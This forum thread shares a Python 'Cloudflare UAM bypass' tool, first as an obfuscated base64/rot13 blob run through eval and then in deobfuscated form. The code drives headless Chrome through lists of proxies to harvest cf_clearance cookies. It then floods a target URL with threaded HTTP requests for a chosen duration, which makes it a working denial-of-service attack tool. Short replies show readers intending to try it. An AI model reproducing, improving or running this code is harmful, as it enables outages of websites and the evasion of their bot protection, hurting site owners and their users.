Pathetic Cloudflare UAM Bypass Python
by - Thursday, January 1, 1970 at 12:00 AM
Since someone wanted to scam me with it, here you are:Obfuscated:[hide][code]import base64, codecsmagic = 'IyAtKi0gY29kaW5nOiB1dGYtOCAtKi0NCmltcG9ydCB0aHJlYWRpbmcsIGRhdGV0aW1lLCB0aW1lLCBzeXMsIHNvY2tldCwgc29ja3MsIHNzbA0KaW1wb3J0IHVuZGV0ZWN0ZWRfY2hyb21lZHJpdmVyIGFzIHdlYmRyaXZlcg0KZnJvbSB1cmxsaWIucGFyc2UgaW1wb3J0IHVybHBhcnNlDQpmcm9tIGNvbG9yYW1hIGltcG9ydCBGb3JlLCBpbml0DQppbml0KGNvbnZlcnQ9VHJ1ZSkNCg0KZGVmIGdldF9jb29raWUocHJveHksIHVybCwgdGhyZWFkX251bSk6DQogICAgZ2xvYmFsIGZhaWxlZCwgc3VjY2Vzcw0KICAgIG9wdGlvbnMgPSB3ZWJkcml2ZXIuQ2hyb21lT3B0aW9ucygpDQogICAgb3B0aW9ucy5hZGRfYXJndW1lbnQoJy0tcHJveHktc2VydmVyPXswfScuZm9ybWF0KHByb3h5KSkNCiAgICBvcHRpb25zLmFkZF9hcmd1bWVudCgnLS1uby1zYW5kYm94JykNCiAgICBvcHRpb25zLmFkZF9hcmd1bWVudCgnLS1kaXNhYmxlLXNldHVpZC1zYW5kYm94JykNCiAgICBvcHRpb25zLmFkZF9hcmd1bWVudCgnLS1kaXNhYmxlLWluZm9iYXJzJykNCiAgICBvcHRpb25zLmFkZF9hcmd1bWVudCgnLS1kaXNhYmxlLWxvZ2dpbmcnKQ0KICAgIG9wdGlvbnMuYWRkX2FyZ3VtZW50KCctLWRpc2FibGUtbG9naW4tYW5pbWF0aW9ucycpDQogICAgb3B0aW9ucy5hZGRfYXJndW1lbnQoJy0tZGlzYWJsZS1ub3RpZmljYXRpb25zJykNCiAgICBvcHRpb25zLmFkZF9hcmd1bWVudCgnLS1kaXNhYmxlLWdwdScpDQogICAgb3B0aW9ucy5hZGRfYXJndW1lbnQoJy0taW5jb2duaXRvJykNCiAgICBvcHRpb25zLmFkZF9hcmd1bWVudCgnLS1oZWFkbGVzcycpDQogICAgb3B0aW9ucy5hZGRfYXJndW1lbnQoJy0tbGFuZz10cl9UUicpDQogICAgb3B0aW9ucy5hZGRfYXJndW1lbnQoIi0tc3RhcnQtbWF4bWl6ZWQiKQ0KICAgIG9wdGlvbnMuYWRkX2FyZ3VtZW50KCctLXVzZXItYWdlbnQ9TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxMF8zXzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjAzLjMuOCAoS0hUTUwsIGxpa2UgR2Vja28pIE1vYmlsZS8xNEc2MCBNaWNyb01lc3Nlbmdlci82LjUuMTggTmV0VHlwZS9XSUZJIExhbmd1YWdlL2VuJykNCiAgICB0cnk6DQogICAgICAgIGRyaXZlciA9IHdlYmRyaXZlci5DaHJvbWUob3B0aW9ucz1vcHRpb25zKQ0KICAgICAgICBkcml2ZXIuZ2V0KHVybCkNCiAgICAgICAgZHJpdmVyLmltcGxpY2l0bHlfd2FpdCgzKQ0KICAgICAgICB0ciwgbG9vcCA9IDEsIDANCiAgICAgICAgd2hpbGUgdHIgPT0gMToNCiAgICAgICAgICAgIGlmIGxvb3AgPT0gMTIwOg0KICAgICAgICAgICAgICAgIGJyZWFrDQogICAgICAgICAgICBjb29raWVzID0gZHJpdmVyLmdldF9jb29raWVzKCkNCiAgICAgICAgICAgIHRyeXkgPSAwDQogICAgICAgICAgICBmb3IgaSBpbiBjb29raWVzOg0KICAgICAgICAgICAgICAgIGlmIGlbJ25hbWUnXSA9PSAnY2ZfY2xlYXJhbmNlJzoNCiAgICAgICAgICAgICAgICAgICAgY29va2llSkFSID0gZHJpdmVyLmdldF9jb29raWVzKClbdHJ5eV0NCiAgICAgICAgICAgICAgICAgICAgY29va2llID0gZiJ7Y29va2llSkFSWyduYW1lJ119PXtjb29raWVKQVJbJ3ZhbHVlJ119Ig0KICAgICAgICAgICAgICAgICAgICBkcml2ZXIucXVpdCgpDQogICAgICAgICAgICAgICAgICAgIHRyID0gMA0KICAgICAgICAgICAgICAgIGVsc2U6DQogICA'love = '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'god = 'FnZTogZnItRlIsZnI7cT0wLjksZW4tVVM7cT0wLjgsZW47cT0wLjdcclxuJw0KICAgIHJlcSArPSAnQ2FjaGUtQ29udHJvbDogbWF4LWFnZT0wXHJcbicNCiAgICByZXEgKz0gJ0Nvb2tpZTogJyArIGNvb2tpZSArICdcclxuJw0KICAgIHJlcSArPSBmJ3NlYy1jaC11YTogIkNocm9taXVtIjt2PSIxMDAiLCAiR29vZ2xlIENocm9tZSI7dj0iMTAwIlxyXG4nDQogICAgcmVxICs9ICdzZWMtY2gtdWEtbW9iaWxlOiA/MFxyXG4nDQogICAgcmVxICs9ICdzZWMtY2gtdWEtcGxhdGZvcm06ICJXaW5kb3dzIlxyXG4nDQogICAgcmVxICs9ICdzZWMtZmV0Y2gtZGVzdDogZW1wdHlcclxuJw0KICAgIHJlcSArPSAnc2VjLWZldGNoLW1vZGU6IGNvcnNcclxuJw0KICAgIHJlcSArPSAnc2VjLWZldGNoLXNpdGU6IHNhbWUtb3JpZ2luXHJcbicNCiAgICByZXEgKz0gJ0Nvbm5lY3Rpb246IEtlZXAtQWxpdmVcclxuJw0KICAgICNyZXEgKz0gJ1VzZXItQWdlbnQ6ICcrdWEgKyAnXHJcblxyXG5cclxuJw0KICAgIHJlcSArPSAnVXNlci1BZ2VudDogTW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxMF8zXzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjAzLjMuOCAoS0hUTUwsIGxpa2UgR2Vja28pIE1vYmlsZS8xNEc2MCBNaWNyb01lc3Nlbmdlci82LjUuMTggTmV0VHlwZS9XSUZJIExhbmd1YWdlL2VuXHJcblxyXG5cclxuJw0KICAgIHRyeToNCiAgICAgICAgaWYgdGFyZ2V0WydzY2hlbWUnXSA9PSAnaHR0cHMnOg0KICAgICAgICAgICAgcGFja2V0ID0gc29ja3Muc29ja3NvY2tldCgpDQogICAgICAgICAgICBwYWNrZXQuc2V0c29ja29wdChzb2NrZXQuSVBQUk9UT19UQ1AsIHNvY2tldC5UQ1BfTk9ERUxBWSwgMSkNCiAgICAgICAgICAgIHBhY2tldC5zZXRfcHJveHkoc29ja3MuSFRUUCwgc3RyKHB4WzBdKSwgaW50KHB4WzFdKSkNCiAgICAgICAgICAgIHBhY2tldC5jb25uZWN0KChzdHIodGFyZ2V0Wydob3N0J10pLCBpbnQodGFyZ2V0Wydwb3J0J10pKSkNCiAgICAgICAgICAgIHBhY2tldCA9IHNzbC5jcmVhdGVfZGVmYXVsdF9jb250ZXh0KCkud3JhcF9zb2NrZXQocGFja2V0LCBzZXJ2ZXJfaG9zdG5hbWU9dGFyZ2V0Wydob3N0J10pDQogICAgICAgIGVsc2U6DQogICAgICAgICAgICBwYWNrZXQgPSBzb2Nrcy5zb2Nrc29ja2V0KCkNCiAgICAgICAgICAgIHBhY2tldC5zZXRzb2Nrb3B0KHNvY2tldC5JUFBST1RPX1RDUCwgc29ja2V0LlRDUF9OT0RFTEFZLCAxKQ0KICAgICAgICAgICAgcGFja2V0LnNldF9wcm94eShzb2Nrcy5IVFRQLCBzdHIocHhbMF0pLCBpbnQocHhbMV0pKQ0KICAgICAgICAgICAgcGFja2V0LmNvbm5lY3QoKHN0cih0YXJnZXRbJ2hvc3QnXSksIGludCh0YXJnZXRbJ3BvcnQnXSkpKQ0KICAgIGV4Y2VwdDoNCiAgICAgICAgcmV0dXJuDQogICAgd2hpbGUgKHVudGlsX3RpbWUgLSBkYXRldGltZS5kYXRldGltZS5ub3coKSkudG90YWxfc2Vjb25kcygpID4gMDoNCiAgICAgICAgdHJ5Og0KICAgICAgICAgICAgZm9yIF8gaW4gcmFuZ2UoMTApOg0KICAgICAgICAgICAgICAgIHBhY2tldC5zZW5kKHN0ci5lbmNvZGUocmVxKSkNCiAgICAgICAgICAgICAgICBwYXNzDQogICAgICAgIGV4Y2VwdDoNCiAgICAgICAgICAgIHBhY2tldC5jbG9zZSgpDQogICAgICAgICAgICBwYXNzDQoNCmRlZiBtYWluKCk6DQogICAgZ2xvYmFsIGZhaWxlZCwgc3VjY2Vzc'destiny = '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'joy = '\x72\x6f\x74\x31\x33'trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec'))[/code][/hide]Deobfuscated (the obfuscation was really pathetic):[hide][code]# -*- coding: utf-8 -*-import threading, datetime, time, sys, socket, socks, sslimport undetected_chromedriver as webdriverfrom urllib.parse import urlparsefrom colorama import Fore, initinit(convert=True)def get_cookie(proxy, url, thread_num): global failed, success options = webdriver.ChromeOptions() options.add_argument('--proxy-server={0}'.format(proxy)) options.add_argument('--no-sandbox') options.add_argument('--disable-setuid-sandbox') options.add_argument('--disable-infobars') options.add_argument('--disable-logging') options.add_argument('--disable-login-animations') options.add_argument('--disable-notifications') options.add_argument('--disable-gpu') options.add_argument('--incognito') options.add_argument('--headless') options.add_argument('--lang=tr_TR') options.add_argument("--start-maxmized") options.add_argument('--user-agent=Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G60 MicroMessenger/6.5.18 NetType/WIFI Language/en') try: driver = webdriver.Chrome(options=options) driver.get(url) driver.implicitly_wait(3) tr, loop = 1, 0 while tr == 1: if loop == 120: break cookies = driver.get_cookies() tryy = 0 for i in cookies: if i['name'] == 'cf_clearance': cookieJAR = driver.get_cookies()[tryy] cookie = f"{cookieJAR['name']}={cookieJAR['value']}" driver.quit() tr = 0 else: tryy += 1 pass loop += 1 time.sleep(0.5) driver.quit() success += 1 print(Fore.LIGHTGREEN_EX+"#"+str(thread_num)+" Success : "+proxy+ " All/Success/Fail["+str(total)+"/"+str(success)+"/"+str(failed)+"]"+Fore.RESET) try: f = open('./cookie.txt', 'a') f.write(proxy+"---"+str(cookie)+'') f.close() except: pass except : failed += 1 print("#"+str(thread_num)+" Failed : Proxy Error" + " All/Success/Fail["+str(total)+"/"+str(success)+"/"+str(failed)+"]")def r(proxy, cookie, url): target = {} target['uri'] = urlparse(url).path if target['uri'] == "": target['uri'] = "/" target['host'] = urlparse(url).netloc target['scheme'] = urlparse(url).scheme if ":" in urlparse(url).netloc: target['port'] = urlparse(url).netloc.split(":")[1] else: target['port'] = "443" if urlparse(url).scheme == "https" else "80" pass px = proxy.split(":") thread_count = 0 while int(thread_count) < int(thr): try: threading.Thread(target=test, args=(px, cookie, target)).start() thread_count += 1 except: passdef test(px, cookie, target): req = 'GET '+target['uri']+' HTTP/1.1' req += 'Host: ' + target['host'] + '' req += 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' req += 'Accept-Encoding: gzip, deflate, br' req += 'Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7' req += 'Cache-Control: max-age=0' req += 'Cookie: ' + cookie + '' req += f'sec-ch-ua: "Chromium";v="100", "Google Chrome";v="100"' req += 'sec-ch-ua-mobile: ?0' req += 'sec-ch-ua-platform: "Windows"' req += 'sec-fetch-dest: empty' req += 'sec-fetch-mode: cors' req += 'sec-fetch-site: same-origin' req += 'Connection: Keep-Alive' #req += 'User-Agent: '+ua + '' req += 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G60 MicroMessenger/6.5.18 NetType/WIFI Language/en' try: if target['scheme'] == 'https': packet = socks.socksocket() packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) packet.set_proxy(socks.HTTP, str(px[0]), int(px[1])) packet.connect((str(target['host']), int(target['port']))) packet = ssl.create_default_context().wrap_socket(packet, server_hostname=target['host']) else: packet = socks.socksocket() packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) packet.set_proxy(socks.HTTP, str(px[0]), int(px[1])) packet.connect((str(target['host']), int(target['port']))) except: return while (until_time - datetime.datetime.now()).total_seconds() > 0: try: for _ in range(10): packet.send(str.encode(req)) pass except: packet.close() passdef main(): global failed, success, total, until_time, thr failed, success, total, thread_num = 0, 0, 0, 0 #disp = Display(size=(100, 60)) #disp.start() url = sys.argv[1] until = sys.argv[2] proxypath = sys.argv[4] thr = sys.argv[3] f = open('./cookie.txt', 'w') f.close() for _ in open(proxypath, encoding="utf-8"): total += 1 print("## Start with "+str(total)+" proxies...") for line in open(proxypath, encoding="utf-8"): line = line.strip() thread_num += 1 threading.Thread(target=get_cookie, args=(line, url, thread_num)).start() print("#"+str(thread_num)+" Get cookie => "+line) time.sleep(0.2) while(failed+success!=total): time.sleep(0.2) print("# Get Cookie Thread end") until_time = datetime.datetime.now() + datetime.timedelta(seconds=int(until)) if int(success) > 0: print(f"# Attack start => {url} for {until} sec") for line in open('./cookie.txt', encoding="utf-8"): line = line.strip() proxyip = line.split('---')[0].split(':')[0] proxyport = line.split('---')[0].split(':')[1] cookie = line.split('---')[1] proxy = str(proxyip)+":"+str(proxyport) thd = threading.Thread(target=r, args=(proxy, cookie, url)) thd.start() thd.join() else: print("# 0 Success") time.sleep(int(until)) print("# End attack") #disp.stop() exit()if __name__ == '__main__': if len(sys.argv) < 4: print(f"user@some_name:~# python3 {sys.argv[0]}
Reply
What is this?
Reply
(August 15, 2022, 01:23 PM)TheGoodlife Wrote: Since someone wanted to scam me with it, here you are:

Obfuscated:
Reply
I'll try it i guess
Reply


 Users viewing this thread: Pathetic Cloudflare UAM Bypass Python: No users currently viewing.